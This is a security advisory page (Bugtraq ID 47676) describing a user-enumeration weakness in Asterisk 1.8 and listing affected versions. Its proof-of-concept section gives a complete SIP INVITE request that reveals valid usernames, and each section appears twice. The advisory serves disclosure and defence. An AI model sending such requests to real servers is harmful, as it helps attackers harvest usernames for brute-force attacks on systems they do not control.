Asterisk SIP INVITE Request User Enumeration Weakness
BID:47676
Info
Asterisk SIP INVITE Request User Enumeration Weakness
| Bugtraq ID: | 47676 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 02 2011 12:00AM |
| Updated: | May 02 2011 12:00AM |
| Credit: | Francesco Tornieri |
| Vulnerable: |
Asterisk Asterisk 1.8.2 4 Asterisk Asterisk 1.8.1 Asterisk Asterisk 1.8 Asterisk Asterisk 1.8.3.3 Asterisk Asterisk 1.8.3.1 Asterisk Asterisk 1.8.2.1 Asterisk Asterisk 1.8.1.2 Asterisk Asterisk 1.8 |
| Not Vulnerable: | |
Discussion
Asterisk SIP INVITE Request User Enumeration Weakness
Asterisk is prone to a user-enumeration weakness.
An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.
This issue affects Asterisks 1.8.
Asterisk is prone to a user-enumeration weakness.
An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.
This issue affects Asterisks 1.8.
Exploit / POC
Asterisk SIP INVITE Request User Enumeration Weakness
An attacker can exploit this issue by supplying the application with INVITE requests.
The following request is available:
INVITE sip:192.168.2.1 SIP/2.0
CSeq: 3 INVITE
Via: SIP/2.0/UDP www.example.com:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:[email protected]>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 5RRdd5Cv-0771-e011-84a1-a1816009ca7a@lapblack2
To: <sip:[email protected]>
Contact: <sip:105@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 0
Max-Forwards: 70
An attacker can exploit this issue by supplying the application with INVITE requests.
The following request is available:
INVITE sip:192.168.2.1 SIP/2.0
CSeq: 3 INVITE
Via: SIP/2.0/UDP www.example.com:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:[email protected]>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 5RRdd5Cv-0771-e011-84a1-a1816009ca7a@lapblack2
To: <sip:[email protected]>
Contact: <sip:105@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 0
Max-Forwards: 70
Solution / Fix
Asterisk SIP INVITE Request User Enumeration Weakness
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].